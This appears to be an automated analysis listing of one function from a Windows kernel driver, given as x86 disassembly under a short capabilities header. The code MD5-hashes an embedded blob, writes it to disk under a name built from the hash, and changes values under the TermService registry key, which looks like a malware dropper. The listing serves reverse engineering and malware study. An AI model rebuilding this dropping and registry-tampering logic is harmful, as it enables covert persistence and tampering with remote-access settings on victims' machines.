Function at 0x4028b0
Capabilities:
Hash data with md5
Set file attributes
Write file on windows

Disassembly:
push ebp
mov ebp, esp
and esp, 0xfffffff0
sub esp, 0x368
push esi
push edi
xor eax, eax
push 0x7e
push eax
mov word [esp + 0xf0], ax
lea eax, [esp + 0xf2]
push eax
call sub.ntoskrnl.exe_memset
mov ax, word [0x40a3e4]
xorps xmm0, xmm0
movdqu xmmword [esp + 0x25], xmm0
add esp, 0xc
mov byte [esp + 0x18], 0
movq qword [esp + 0x29], xmm0
movdqu xmm0, xmmword [0x40a3c4]
mov dword [esp + 0x31], 0
mov word [esp + 0x35], 0
movdqu xmmword [esp + 0x60], xmm0
mov byte [esp + 0x37], 0
movdqu xmm0, xmmword [0x40a3d4]
mov word [esp + 0x80], ax
movdqu xmmword [esp + 0x70], xmm0
call fcn.00402d40
test al, al
je 0x402945
mov byte [0x471214], 1
mov al, 1
pop edi
pop esi
mov esp, ebp
pop ebp
ret
call fcn.00402bd0
push ecx
call fcn.00402e20
push 0x64600
mov edx, 0x40a530
mov dword [esp + 0xa8], 0
lea ecx, [esp + 0x94]
mov dword [esp + 0xa4], 0
mov dword [esp + 0x94], 0x67452301
mov dword [esp + 0x98], 0xefcdab89
mov dword [esp + 0x9c], 0x98badcfe
mov dword [esp + 0xa0], 0x10325476
call fcn.00406cc0
lea edx, [esp + 0x90]
lea ecx, [esp + 0x18]
call fcn.00406d90
xor edx, edx
lea ebx, [ebx]
movzx ecx, byte [esp + edx + 0x18]
mov eax, ecx
and ecx, 0xf
shr eax, 4
movzx eax, word [esp + eax*2 + 0x60]
mov word [esp + edx*4 + 0xe8], ax
movzx eax, word [esp + ecx*2 + 0x60]
mov word [esp + edx*4 + 0xea], ax
inc edx
cmp edx, 0x10
jl 0x4029c0
mov edi, dword [sym.imp.ntoskrnl.exe_RtlInitUnicodeString]
lea eax, [esp + 0xe8]
push eax
push 0x471204
call edi
mov esi, dword [0x471200]
xor eax, eax
push 0x206
push eax
mov word [esp + 0x170], ax
xorps xmm0, xmm0
lea eax, [esp + 0x172]
movlpd qword [esp + 0x48], xmm0
push eax
mov dword [esp + 0x20], 0
mov dword [esp + 0x4c], 0
call sub.ntoskrnl.exe_memset
xor eax, eax
add esp, 0xc
cmp eax, 0x40a530
je 0x402b1a
cmp word [esi], 0x5c
push esi
je 0x402a77
push 0x46ed24
lea eax, [esp + 0x170]
push 0x104
push eax
call fcn.00401070
add esp, 0x10
lea eax, [esp + 0x168]
push eax
lea eax, [esp + 0x4c]
push eax
call edi
push 0x100
push 0
push 0
push 0
push 0
push 0x60
push 5
push 3
push 0x80
lea eax, [esp + 0x6c]
mov dword [esp + 0x3c], 0x18
mov dword [esp + 0x44], eax
lea eax, [esp + 0x7c]
push 0
push eax
lea eax, [esp + 0x44]
mov dword [esp + 0x48], 0
push eax
push 0x40100000
lea eax, [esp + 0x48]
mov dword [esp + 0x58], 0x240
push eax
mov dword [esp + 0x60], 0
mov dword [esp + 0x64], 0
call dword [sym.imp.ntoskrnl.exe_IoCreateFile]
test eax, eax
js 0x402b1a
push 0
lea eax, [esp + 0x44]
push eax
push 0x64600
push 0x40a530
lea eax, [esp + 0x68]
push eax
push 0
push 0
push 0
push dword [esp + 0x34]
call dword [sym.imp.ntoskrnl.exe_ZwWriteFile]
test eax, eax
jns 0x402b22
push dword [esp + 0x14]
call dword [sym.imp.ntoskrnl.exe_ZwClose]
xor al, al
pop edi
pop esi
mov esp, ebp
pop ebp
ret
cmp dword [esp + 0x5c], 0x64600
jne 0x402b64
push 0x14
push 8
lea eax, [esp + 0x58]
mov dword [esp + 0x40], 0
push eax
lea eax, [esp + 0x44]
mov dword [esp + 0x48], 0
push eax
push dword [esp + 0x24]
mov dword [esp + 0x64], 0x64600
mov dword [esp + 0x68], 0
call dword [sym.imp.ntoskrnl.exe_ZwSetInformationFile]
push dword [esp + 0x14]
call dword [sym.imp.ntoskrnl.exe_ZwClose]
mov edx, 0x471204
mov ecx, 0x4711fc
call fcn.00404670
test al, al
je 0x402b1a
movzx eax, word [0x4711fc]
mov edx, str.option1
push 1
push eax
push dword [0x471200]
mov ecx, 0x40a3f8
call fcn.00404220
movzx eax, word [0x471204]
mov edx, str.option2
push 1
push eax
push dword [0x471208]
mov ecx, str.RegistryMachineSYSTEMCurrentControlSetServicesTermService
call fcn.00404220
pop edi
mov al, 1
pop esi
mov esp, ebp
pop ebp
ret